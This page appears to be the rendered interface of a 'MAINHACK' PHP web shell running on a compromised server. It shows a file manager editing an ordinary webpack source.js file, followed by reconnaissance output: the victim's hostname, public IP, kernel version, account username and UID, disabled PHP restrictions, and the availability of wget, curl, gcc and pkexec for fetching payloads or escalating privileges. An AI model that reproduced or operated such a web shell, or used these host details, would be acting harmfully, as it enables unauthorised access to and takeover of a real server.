[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: source.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** @typedef {import("webpack-sources").Source} Source */ /** @type {WeakMap<Source, WeakMap<Source, boolean>>} */ const equalityCache = new WeakMap(); /** * @param {Source} a a source * @param {Source} b another source * @returns {boolean} true, when both sources are equal */ const _isSourceEqual = (a, b) => { // prefer .buffer(), it's called anyway during emit /** @type {Buffer|string} */ let aSource = typeof a.buffer === "function" ? a.buffer() : a.source(); /** @type {Buffer|string} */ let bSource = typeof b.buffer === "function" ? b.buffer() : b.source(); if (aSource === bSource) return true; if (typeof aSource === "string" && typeof bSource === "string") return false; if (!Buffer.isBuffer(aSource)) aSource = Buffer.from(aSource, "utf-8"); if (!Buffer.isBuffer(bSource)) bSource = Buffer.from(bSource, "utf-8"); return aSource.equals(bSource); }; /** * @param {Source} a a source * @param {Source} b another source * @returns {boolean} true, when both sources are equal */ const isSourceEqual = (a, b) => { if (a === b) return true; const cache1 = equalityCache.get(a); if (cache1 !== undefined) { const result = cache1.get(b); if (result !== undefined) return result; } const result = _isSourceEqual(a, b); if (cache1 !== undefined) { cache1.set(b, result); } else { const map = new WeakMap(); map.set(b, result); equalityCache.set(a, map); } const cache2 = equalityCache.get(b); if (cache2 !== undefined) { cache2.set(a, result); } else { const map = new WeakMap(); map.set(a, result); equalityCache.set(b, map); } return result; }; exports.isSourceEqual = isSourceEqual;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002